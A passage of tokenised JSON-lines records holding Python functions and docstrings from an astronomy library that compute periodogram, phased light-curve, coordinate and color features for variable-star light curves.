a\n        trapezoid planet transit model fit to the phased light curve. The period\n        used is the one provided in `period`, while the epoch is automatically\n        obtained from a spline fit to the phased light curve.\n\n    ebparams : list of floats\n        The primary eclipse depth, eclipse duration, the primary-secondary depth\n        ratio, and the phase of the secondary eclipse to use to generate an\n        eclipsing binary model fit to the phased light curve. The period used is\n        the one provided in `period`, while the epoch is automatically obtained\n        from a spline fit to the phased light curve.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    magsarefluxes : bool\n        Set this to True if the input measurements in `mags` are actually\n        fluxes.\n\n    fitfailure_means_featurenan : bool\n        If the planet, EB and EBx2 fits don't return standard errors because the\n        covariance matrix could not be generated, then the fit is suspicious and\n        the features calculated can't be trusted. If\n        `fitfailure_means_featurenan` is True, then the output features for\n        these fits will be set to nan.\n\n    verbose : bool\n        If True, will indicate progress while working.\n\n    Returns\n    -------\n\n    dict\n        A dict of all the features calculated is returned.", "id": "f14716:m0"}
{"signature": "def periodogram_features(pgramlist, times, mags, errs,<EOL>sigclip=<NUM_LIT>,<EOL>pdiff_threshold=<NUM_LIT>,<EOL>sidereal_threshold=<NUM_LIT>,<EOL>sampling_peak_multiplier=<NUM_LIT>,<EOL>sampling_startp=None,<EOL>sampling_endp=None,<EOL>verbose=True):", "body": "<EOL>pfmethodlist = [pgram['<STR_LIT>'] for pgram in pgramlist]<EOL>if '<STR_LIT>' not in pfmethodlist:<EOL><INDENT>finind = np.isfinite(times) & np.isfinite(mags) & np.isfinite(errs)<EOL>ftimes, fmags, ferrs = times[finind], mags[finind], errs[finind]<EOL>nzind = np.nonzero(ferrs)<EOL>ftimes, fmags, ferrs = ftimes[nzind], fmags[nzind], ferrs[nzind]<EOL>sampling_lsp = specwindow_lsp(times, mags, errs,<EOL>startp=sampling_startp,<EOL>endp=sampling_endp,<EOL>sigclip=sigclip,<EOL>verbose=verbose)<EOL><DEDENT>else:<EOL><INDENT>sampling_lsp = pgramlist[pfmethodlist.index('<STR_LIT>')]<EOL><DEDENT>normalized_sampling_lspvals = (<EOL>sampling_lsp['<STR_LIT>']/(np.nanmax(sampling_lsp['<STR_LIT>']) -<EOL>np.nanmin(sampling_lsp['<STR_LIT>']))<EOL>)<EOL>normalized_sampling_periods = sampling_lsp['<STR_LIT>']<EOL>for pfm, pgram in zip(pfmethodlist, pgramlist):<EOL><INDENT>if pfm == '<STR_LIT>':<EOL><INDENT>best_peak_sampling_ratios = []<EOL>close_to_sidereal_flag = []<EOL>periods = pgram['<STR_LIT>']<EOL>peaks = pgram['<STR_LIT>']<EOL>normalized_peaks = (<NUM_LIT:1.0> - peaks)/(np.nanmax(<NUM_LIT:1.0> - peaks) -<EOL>np.nanmin(<NUM_LIT:1.0> - peaks))<EOL>if pgram['<STR_LIT>'] is None:<EOL><INDENT>LOGERROR('<STR_LIT>' % pfm)<EOL>continue<EOL><DEDENT>for bp in pgram['<STR_LIT>']:<EOL><INDENT>if np.isfinite(bp):<EOL><INDENT>thisp_norm_pgrampeak = normalized_peaks[periods == bp]<EOL>thisp_sampling_pgramind = (<EOL>np.abs(normalized_sampling_periods -<EOL>bp) < pdiff_threshold<EOL>)<EOL>thisp_sampling_peaks = normalized_sampling_lspvals[<EOL>thisp_sampling_pgramind<EOL>]<EOL>if thisp_sampling_peaks.size > <NUM_LIT:1>:<EOL><INDENT>thisp_sampling_ratio = (<EOL>thisp_norm_pgrampeak/np.mean(thisp_sampling_peaks)<EOL>)<EOL><DEDENT>elif thisp_sampling_peaks.size == <NUM_LIT:1>:<EOL><INDENT>thisp_sampling_ratio = (<EOL>thisp_norm_pgrampeak/thisp_sampling_peaks<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % bp)<EOL>thisp_sampling_ratio = np.nan<EOL><DEDENT>best_peak_sampling_ratios.append(thisp_sampling_ratio)<EOL>sidereal_a_ratio = (bp - <NUM_LIT>)/bp<EOL>sidereal_b_ratio = (bp - <NUM_LIT>)/bp<EOL>if ((sidereal_a_ratio < sidereal_threshold) or<EOL>(sidereal_b_ratio < sidereal_threshold)):<EOL><INDENT>close_to_sidereal_flag.append(True)<EOL><DEDENT>else:<EOL><INDENT>close_to_sidereal_flag.append(False)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>best_peak_sampling_ratios.append(np.nan)<EOL>close_to_sidereal_flag.append(False)<EOL><DEDENT><DEDENT>pgram['<STR_LIT>'] = best_peak_sampling_ratios<EOL>pgram['<STR_LIT>'] = close_to_sidereal_flag<EOL><DEDENT>elif pfm != '<STR_LIT>':<EOL><INDENT>best_peak_sampling_ratios = []<EOL>close_to_sidereal_flag = []<EOL>periods = pgram['<STR_LIT>']<EOL>peaks = pgram['<STR_LIT>']<EOL>normalized_peaks = peaks/(np.nanmax(peaks) - np.nanmin(peaks))<EOL>if pgram['<STR_LIT>'] is None:<EOL><INDENT>LOGERROR('<STR_LIT>' % pfm)<EOL>continue<EOL><DEDENT>for bp in pgram['<STR_LIT>']:<EOL><INDENT>if np.isfinite(bp):<EOL><INDENT>thisp_norm_pgrampeak = normalized_peaks[periods == bp]<EOL>thisp_sampling_pgramind = (<EOL>np.abs(normalized_sampling_periods -<EOL>bp) < pdiff_threshold<EOL>)<EOL>thisp_sampling_peaks = normalized_sampling_lspvals[<EOL>thisp_sampling_pgramind<EOL>]<EOL>if thisp_sampling_peaks.size > <NUM_LIT:1>:<EOL><INDENT>thisp_sampling_ratio = (<EOL>thisp_norm_pgrampeak/np.mean(thisp_sampling_peaks)<EOL>)<EOL><DEDENT>elif thisp_sampling_peaks.size == <NUM_LIT:1>:<EOL><INDENT>thisp_sampling_ratio = (<EOL>thisp_norm_pgrampeak/thisp_sampling_peaks<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % bp)<EOL>thisp_sampling_ratio = np.nan<EOL><DEDENT>best_peak_sampling_ratios.append(thisp_sampling_ratio)<EOL>sidereal_a_ratio = (bp - <NUM_LIT>)/bp<EOL>sidereal_b_ratio = (bp - <NUM_LIT>)/bp<EOL>if ((sidereal_a_ratio < sidereal_threshold) or<EOL>(sidereal_b_ratio < sidereal_threshold)):<EOL><INDENT>close_to_sidereal_flag.append(True)<EOL><DEDENT>else:<EOL><INDENT>close_to_sidereal_flag.append(False)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>best_peak_sampling_ratios.append(np.nan)<EOL>close_to_sidereal_flag.append(False)<EOL><DEDENT><DEDENT>pgram['<STR_LIT>'] = best_peak_sampling_ratios<EOL>pgram['<STR_LIT>'] = close_to_sidereal_flag<EOL><DEDENT><DEDENT>all_bestperiods = np.concatenate(<EOL>[x['<STR_LIT>']<EOL>for x in pgramlist if<EOL>(x['<STR_LIT>'] != '<STR_LIT>' and x['<STR_LIT>'] is not None)]<EOL>)<EOL>all_bestperiod_diffs = np.array(<EOL>[abs(a-b) for a,b in combinations(all_bestperiods,<NUM_LIT:2>)]<EOL>)<EOL>all_sampling_ratios = np.concatenate(<EOL>[x['<STR_LIT>']<EOL>for x in pgramlist if<EOL>(x['<STR_LIT>'] != '<STR_LIT>' and x['<STR_LIT>'] is not None)]<EOL>)<EOL>all_sidereal_flags = np.concatenate(<EOL>[x['<STR_LIT>']<EOL>for x in pgramlist if<EOL>(x['<STR_LIT>'] != '<STR_LIT>' and x['<STR_LIT>'] is not None)]<EOL>)<EOL>bestperiods_n_abovesampling = (<EOL>all_sampling_ratios[all_sampling_ratios ><EOL>sampling_peak_multiplier]<EOL>).size<EOL>bestperiods_n_sidereal = all_sidereal_flags.sum()<EOL>bestperiods_diffn_threshold = (<EOL>all_bestperiod_diffs < pdiff_threshold<EOL>).size<EOL>resdict = {<EOL>'<STR_LIT>':bestperiods_n_abovesampling,<EOL>'<STR_LIT>':bestperiods_n_sidereal,<EOL>'<STR_LIT>':bestperiods_diffn_threshold<EOL>}<EOL>return resdict<EOL>", "docstring": "This calculates various periodogram features (for each periodogram).\n\n    The following features are obtained:\n\n    - For all best periods from all periodogram methods in `pgramlist`,\n      calculates the number of these with peaks that are at least\n      `sampling_peak_multiplier` x time-sampling periodogram peak at the same\n      period. This indicates how likely the `pgramlist` periodogram peaks are to\n      being real as opposed to just being caused by time-sampling\n      window-function of the observations.\n\n    - For all best periods from all periodogram methods in `pgramlist`,\n      calculates the number of best periods which are consistent with a sidereal\n      day (1.0027379 and 0.9972696), likely indicating that they're not real.\n\n    - For all best periods from all periodogram methods in `pgramlist`,\n      calculates the number of cross-wise period differences for all of these\n      that fall below the `pdiff_threshold` value. If this is high, most of the\n      period-finders in `pgramlist` agree on their best period results, so it's\n      likely the periods found are real.\n\n    Parameters\n    ----------\n\n    pgramlist : list of dicts\n        This is a list of dicts returned by any of the periodfinding methods in\n        :py:mod:`astrobase.periodbase`. This can also be obtained from the\n        resulting pickle from the :py:func:astrobase.lcproc.periodsearch.run_pf`\n        function. It's a good idea to make `pgramlist` a list of periodogram\n        lists from all magnitude columns in the input light curve to test\n        periodic variability across all magnitude columns (e.g. period diffs\n        between EPD and TFA mags)\n\n    times,mags,errs : np.array\n        The input flux/mag time-series to use to calculate features. These are\n        used to recalculate the time-sampling L-S periodogram (using\n        :py:func:`astrobase.periodbase.zgls.specwindow_lsp`) if one is not\n        present in pgramlist. If it's present, these can all be set to None.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    pdiff_threshold : float\n        This is the max difference between periods to consider them the same.\n\n    sidereal_threshold : float\n        This is the max difference between any of the 'best' periods and the\n        sidereal day periods to consider them the same.\n\n    sampling_peak_multiplier : float\n        This is the minimum multiplicative factor of a 'best' period's\n        normalized periodogram peak over the sampling periodogram peak at the\n        same period required to accept the 'best' period as possibly real.\n\n    sampling_startp, sampling_endp : float\n        If the `pgramlist` doesn't have a time-sampling Lomb-Scargle\n        periodogram, it will be obtained automatically. Use these kwargs to\n        control the minimum and maximum period interval to be searched when\n        generating this periodogram.\n\n    verbose : bool\n        If True, will indicate progress and report errors.\n\n    Returns\n    -------\n\n    dict\n        Returns a dict with all of the periodogram features calculated.", "id": "f14716:m1"}
{"signature": "def phasedlc_features(times,<EOL>mags,<EOL>errs,<EOL>period,<EOL>nbrtimes=None,<EOL>nbrmags=None,<EOL>nbrerrs=None):", "body": "<EOL>finind = np.isfinite(times) & np.isfinite(mags) & np.isfinite(errs)<EOL>ftimes, fmags, ferrs = times[finind], mags[finind], errs[finind]<EOL>nzind = np.nonzero(ferrs)<EOL>ftimes, fmags, ferrs = ftimes[nzind], fmags[nzind], ferrs[nzind]<EOL>if ftimes.size > <NUM_LIT>:<EOL><INDENT>lightcurve_median = np.median(fmags)<EOL>lightcurve_mad = np.median(np.abs(fmags - lightcurve_median))<EOL>p2p_unphasedlc = lightcurve_ptp_measures(ftimes, fmags, ferrs)<EOL>inveta_unphasedlc = <NUM_LIT:1.0>/p2p_unphasedlc['<STR_LIT>']<EOL>phasedlc = lcmath.phase_magseries_with_errs(ftimes, fmags, ferrs,<EOL>period, ftimes.min(),<EOL>wrap=False)<EOL>phase = phasedlc['<STR_LIT>']<EOL>pmags = phasedlc['<STR_LIT>']<EOL>perrs = phasedlc['<STR_LIT>']<EOL>ptp_bestperiod = lightcurve_ptp_measures(phase,pmags,perrs)<EOL>phasedlc = lcmath.phase_magseries_with_errs(ftimes, fmags, ferrs,<EOL>period*<NUM_LIT>, ftimes.min(),<EOL>wrap=False)<EOL>phasex2 = phasedlc['<STR_LIT>']<EOL>pmagsx2 = phasedlc['<STR_LIT>']<EOL>perrsx2 = phasedlc['<STR_LIT>']<EOL>ptp_bestperiodx2 = lightcurve_ptp_measures(phasex2,pmagsx2,perrsx2)<EOL>inveta_bestperiod = <NUM_LIT:1.0>/ptp_bestperiod['<STR_LIT>']<EOL>inveta_bestperiodx2 = <NUM_LIT:1.0>/ptp_bestperiodx2['<STR_LIT>']<EOL>inveta_ratio_phased_unphased = inveta_bestperiod/inveta_unphasedlc<EOL>inveta_ratio_phasedx2_unphased = inveta_bestperiodx2/inveta_unphasedlc<EOL>phasedx2_maxval_ind = argrelmax(pmagsx2, order=<NUM_LIT:10>)<EOL>if phasedx2_maxval_ind[<NUM_LIT:0>].size > <NUM_LIT:1>:<EOL><INDENT>phasedx2_magdiff_maxval = (<EOL>np.max(np.abs(np.diff(pmagsx2[phasedx2_maxval_ind[<NUM_LIT:0>]])))<EOL>)<EOL><DEDENT>else:<EOL><INDENT>phasedx2_magdiff_maxval = np.nan<EOL><DEDENT>phasedx2_minval_ind = argrelmin(pmagsx2, order=<NUM_LIT:10>)<EOL>if phasedx2_minval_ind[<NUM_LIT:0>].size > <NUM_LIT:1>:<EOL><INDENT>phasedx2_magdiff_minval = (<EOL>np.max(np.abs(np.diff(pmagsx2[phasedx2_minval_ind[<NUM_LIT:0>]])))<EOL>)<EOL><DEDENT>else:<EOL><INDENT>phasedx2_magdiff_minval = np.nan<EOL><DEDENT>phased_magdiff = np.diff(pmags)<EOL>phased_magdiff_median = np.median(phased_magdiff)<EOL>phased_magdiff_mad = np.median(np.abs(phased_magdiff -<EOL>phased_magdiff_median))<EOL>phasedx2_magdiff = np.diff(pmagsx2)<EOL>phasedx2_magdiff_median = np.median(phasedx2_magdiff)<EOL>phasedx2_magdiff_mad = np.median(np.abs(phasedx2_magdiff -<EOL>phasedx2_magdiff_median))<EOL>phased_magdiffmad_unphased_mad_ratio = phased_magdiff_mad/lightcurve_mad<EOL>phasedx2_magdiffmad_unphased_mad_ratio = (<EOL>phasedx2_magdiff_mad/lightcurve_mad<EOL>)<EOL>phasedx2_slopes = np.diff(pmagsx2)/np.diff(phasex2)<EOL>phasedx2_slope_percentiles = np.ravel(np.nanpercentile(phasedx2_slopes,<EOL>[<NUM_LIT>,<NUM_LIT>]))<EOL>phasedx2_slope_10percentile = phasedx2_slope_percentiles[<NUM_LIT:0>]<EOL>phasedx2_slope_90percentile = phasedx2_slope_percentiles[<NUM_LIT:1>]<EOL>if ((nbrtimes is not None) and<EOL>(nbrmags is not None) and<EOL>(nbrerrs is not None)):<EOL><INDENT>nfinind = (np.isfinite(nbrtimes) &<EOL>np.isfinite(nbrmags) &<EOL>np.isfinite(nbrerrs))<EOL>nftimes, nfmags, nferrs = (nbrtimes[nfinind],<EOL>nbrmags[nfinind],<EOL>nbrerrs[nfinind])<EOL>nnzind = np.nonzero(nferrs)<EOL>nftimes, nfmags, nferrs = (nftimes[nnzind],<EOL>nfmags[nnzind],<EOL>nferrs[nnzind])<EOL>if nftimes.size > <NUM_LIT>:<EOL><INDENT>nphasedlc = lcmath.phase_magseries_with_errs(<EOL>nftimes, nfmags, nferrs,<EOL>period, ftimes.min(),<EOL>wrap=False<EOL>)<EOL>norm_pmags = pmags - np.median(pmags)<EOL>norm_npmags = nphasedlc['<STR_LIT>'] - np.median(nphasedlc['<STR_LIT>'])<EOL>phabinned_objectlc = lcmath.phase_bin_magseries(phase,<EOL>norm_pmags,<EOL>minbinelems=<NUM_LIT:1>)<EOL>phabinned_nbrlc = lcmath.phase_bin_magseries(nphasedlc['<STR_LIT>'],<EOL>norm_npmags,<EOL>minbinelems=<NUM_LIT:1>)<EOL>absdiffs = []<EOL>for pha, phamag in zip(phabinned_objectlc['<STR_LIT>'],<EOL>phabinned_objectlc['<STR_LIT>']):<EOL><INDENT>try:<EOL><INDENT>phadiffs = np.abs(pha - phabinned_nbrlc['<STR_LIT>'])<EOL>minphadiffind = np.where(<EOL>(phadiffs < <NUM_LIT>) &<EOL>(phadiffs == np.min(phadiffs))<EOL>)<EOL>absmagdiff = np.abs(<EOL>phamag - phabinned_nbrlc['<STR_LIT>'][<EOL>minphadiffind<EOL>]<EOL>)<EOL>if absmagdiff.size > <NUM_LIT:0>:<EOL><INDENT>absdiffs.append(absmagdiff.min())<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>if len(absdiffs) > <NUM_LIT:0>:<EOL><INDENT>sum_nbr_phasedlc_magdiff = sum(absdiffs)<EOL><DEDENT>else:<EOL><INDENT>sum_nbr_phasedlc_magdiff = np.nan<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sum_nbr_phasedlc_magdiff = np.nan<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sum_nbr_phasedlc_magdiff = np.nan<EOL><DEDENT>return {<EOL>'<STR_LIT>':inveta_unphasedlc,<EOL>'<STR_LIT>':inveta_bestperiod,<EOL>'<STR_LIT>':inveta_bestperiodx2,<EOL>'<STR_LIT>':inveta_ratio_phased_unphased,<EOL>'<STR_LIT>':inveta_ratio_phasedx2_unphased,<EOL>'<STR_LIT>':phasedx2_magdiff_maxval,<EOL>'<STR_LIT>':phasedx2_magdiff_minval,<EOL>'<STR_LIT>':(<EOL>phased_magdiffmad_unphased_mad_ratio<EOL>),<EOL>'<STR_LIT>':(<EOL>phasedx2_magdiffmad_unphased_mad_ratio<EOL>),<EOL>'<STR_LIT>':phasedx2_slope_10percentile,<EOL>'<STR_LIT>':phasedx2_slope_90percentile,<EOL>'<STR_LIT>':sum_nbr_phasedlc_magdiff,<EOL>}<EOL><DEDENT>else:<EOL><INDENT>return {<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan,<EOL>}<EOL><DEDENT>", "docstring": "This calculates various phased LC features for the object.\n\n    Some of the features calculated here come from:\n\n    Kim, D.-W., Protopapas, P., Bailer-Jones, C. A. L., et al. 2014, Astronomy\n    and Astrophysics, 566, A43, and references therein (especially Richards, et\n    al. 2011).\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to calculate the phased LC features for.\n\n    period : float\n        The period used to phase the input mag/flux time-series.\n\n    nbrtimes,nbrmags,nbrerrs : np.array or None\n        If `nbrtimes`, `nbrmags`, and `nbrerrs` are all provided, they should be\n        ndarrays with `times`, `mags`, `errs` of this object's closest neighbor\n        (close within some small number x FWHM of telescope to check for\n        blending). This function will then also calculate extra features based\n        on the neighbor's phased LC using the `period` provided for the target\n        object.\n\n    Returns\n    -------\n\n    dict\n        Returns a dict with phased LC features.", "id": "f14716:m2"}
{"signature": "def coord_features(objectinfo):", "body": "retdict = {'<STR_LIT>': np.nan,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan,<EOL>'<STR_LIT>':np.nan}<EOL>if ('<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>']) and<EOL>'<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>'])):<EOL><INDENT>retdict['<STR_LIT>'], retdict['<STR_LIT>'] = coordutils.equatorial_to_galactic(<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>']) and<EOL>'<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>']) and<EOL>'<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>'])):<EOL><INDENT>retdict['<STR_LIT>'] = coordutils.total_proper_motion(<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>']) and<EOL>np.isfinite(retdict['<STR_LIT>'])):<EOL><INDENT>retdict['<STR_LIT>'] = coordutils.reduced_proper_motion(<EOL>objectinfo['<STR_LIT>'],<EOL>retdict['<STR_LIT>']<EOL>)<EOL><DEDENT>return retdict<EOL>", "docstring": "Calculates object coordinates features, including:\n\n    - galactic coordinates\n    - total proper motion from pmra, pmdecl\n    - reduced J proper motion from propermotion and Jmag\n\n    Parameters\n    ----------\n\n    objectinfo : dict\n        This is an objectinfo dict from a light curve file read into an\n        `lcdict`. The format and the minimum keys required are::\n\n            {'ra': the right ascension of the object in decimal degrees,\n             'decl': the declination of the object in decimal degrees,\n             'pmra': the proper motion in right ascension in mas/yr,\n             'pmdecl': the proper motion in declination in mas/yr,\n             'jmag': the 2MASS J mag of this object}\n\n    Returns\n    -------\n\n    dict\n        A dict containing the total proper motion", "id": "f14717:m0"}
{"signature": "def color_features(in_objectinfo,<EOL>deredden=True,<EOL>custom_bandpasses=None,<EOL>dust_timeout=<NUM_LIT>):", "body": "objectinfo = in_objectinfo.copy()<EOL>outdict = {<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':False<EOL>}<EOL>if ('<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>']) and<EOL>'<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>']) and<EOL>'<STR_LIT>' in objectinfo and<EOL>objectinfo['<STR_LIT>'] is not None and<EOL>np.isfinite(objectinfo['<STR_LIT>'])):<EOL><INDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and objectinfo['<STR_LIT>'] is None) or<EOL>('<STR_LIT>' in objectinfo and not np.isfinite(objectinfo['<STR_LIT>']))):<EOL><INDENT>objectinfo['<STR_LIT>'] = magnitudes.jhk_to_bmag(objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'])<EOL>outdict['<STR_LIT>'] = True<EOL><DEDENT>else:<EOL><INDENT>outdict['<STR_LIT>'] = False<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and objectinfo['<STR_LIT>'] is None) or<EOL>('<STR_LIT>' in objectinfo and not np.isfinite(objectinfo['<STR_LIT>']))):<EOL><INDENT>objectinfo['<STR_LIT>'] = magnitudes.jhk_to_vmag(objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'])<EOL>outdict['<STR_LIT>'] = True<EOL><DEDENT>else:<EOL><INDENT>outdict['<STR_LIT>'] = False<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and objectinfo['<STR_LIT>'] is None) or<EOL>('<STR_LIT>' in objectinfo and not np.isfinite(objectinfo['<STR_LIT>']))):<EOL><INDENT>objectinfo['<STR_LIT>'] = magnitudes.jhk_to_sdssu(objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'])<EOL>outdict['<STR_LIT>'] = True<EOL><DEDENT>else:<EOL><INDENT>outdict['<STR_LIT>'] = False<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and objectinfo['<STR_LIT>'] is None) or<EOL>('<STR_LIT>' in objectinfo and not np.isfinite(objectinfo['<STR_LIT>']))):<EOL><INDENT>objectinfo['<STR_LIT>'] = magnitudes.jhk_to_sdssg(objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'])<EOL>outdict['<STR_LIT>'] = True<EOL><DEDENT>else:<EOL><INDENT>outdict['<STR_LIT>'] = False<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and objectinfo['<STR_LIT>'] is None) or<EOL>('<STR_LIT>' in objectinfo and not np.isfinite(objectinfo['<STR_LIT>']))):<EOL><INDENT>objectinfo['<STR_LIT>'] = magnitudes.jhk_to_sdssr(objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'])<EOL>outdict['<STR_LIT>'] = True<EOL><DEDENT>else:<EOL><INDENT>outdict['<STR_LIT>'] = False<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and objectinfo['<STR_LIT>'] is None) or<EOL>('<STR_LIT>' in objectinfo and not np.isfinite(objectinfo['<STR_LIT>']))):<EOL><INDENT>objectinfo['<STR_LIT>'] = magnitudes.jhk_to_sdssi(objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'])<EOL>outdict['<STR_LIT>'] = True<EOL><DEDENT>else:<EOL><INDENT>outdict['<STR_LIT>'] = False<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and objectinfo['<STR_LIT>'] is None) or<EOL>('<STR_LIT>' in objectinfo and not np.isfinite(objectinfo['<STR_LIT>']))):<EOL><INDENT>objectinfo['<STR_LIT>'] = magnitudes.jhk_to_sdssz(objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'])<EOL>outdict['<STR_LIT>'] = True<EOL><DEDENT>else:<EOL><INDENT>outdict['<STR_LIT>'] = False<EOL><DEDENT><DEDENT>if deredden:<EOL><INDENT>try:<EOL><INDENT>extinction = dust.extinction_query(objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>verbose=False,<EOL>timeout=dust_timeout)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>extinction = None<EOL>outdict['<STR_LIT>'] = False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>extinction = None<EOL>outdict['<STR_LIT>'] = False<EOL><DEDENT>if not extinction:<EOL><INDENT>outdict['<STR_LIT>'] = False<EOL><DEDENT>our_bandpasses_colors = BANDPASSES_COLORS.copy()<EOL>our_bandpass_list = BANDPASS_LIST[::]<EOL>if custom_bandpasses is not None and isinstance(custom_bandpasses, dict):<EOL><INDENT>our_bandpasses_colors.update(custom_bandpasses)<EOL>for key in custom_bandpasses:<EOL><INDENT>if key not in our_bandpass_list:<EOL><INDENT>our_bandpass_list.append(key)<EOL><DEDENT><DEDENT><DEDENT>for mk in our_bandpass_list:<EOL><INDENT>if (mk in objectinfo and<EOL>objectinfo[mk] is not None and<EOL>np.isfinite(objectinfo[mk])):<EOL><INDENT>thisbandlabel = our_bandpasses_colors[mk]['<STR_LIT:label>']<EOL>thisdustkey = our_bandpasses_colors[mk]['<STR_LIT>']<EOL>outdict[mk] = objectinfo[mk]<EOL>outdict['<STR_LIT>'].append(mk)<EOL>outdict['<STR_LIT>'].append(thisbandlabel)<EOL>if (deredden and extinction):<EOL><INDENT>outdict['<STR_LIT>'] = True<EOL>if (thisdustkey is not None and<EOL>isinstance(thisdustkey, str) and<EOL>thisdustkey in extinction['<STR_LIT>'] and<EOL>np.isfinite(extinction['<STR_LIT>'][thisdustkey]['<STR_LIT>'])):<EOL><INDENT>outdict['<STR_LIT>' % mk] = (<EOL>extinction['<STR_LIT>'][thisdustkey]['<STR_LIT>']<EOL>)<EOL><DEDENT>elif (thisdustkey is not None and<EOL>isinstance(thisdustkey, float)):<EOL><INDENT>outdict['<STR_LIT>' % mk] = thisdustkey<EOL><DEDENT>else:<EOL><INDENT>outdict['<STR_LIT>' % mk] = <NUM_LIT:0.0><EOL><DEDENT>outdict['<STR_LIT>' % mk] = (<EOL>outdict[mk] - outdict['<STR_LIT>' % mk]<EOL>)<EOL>outdict['<STR_LIT>'].append('<STR_LIT>' % 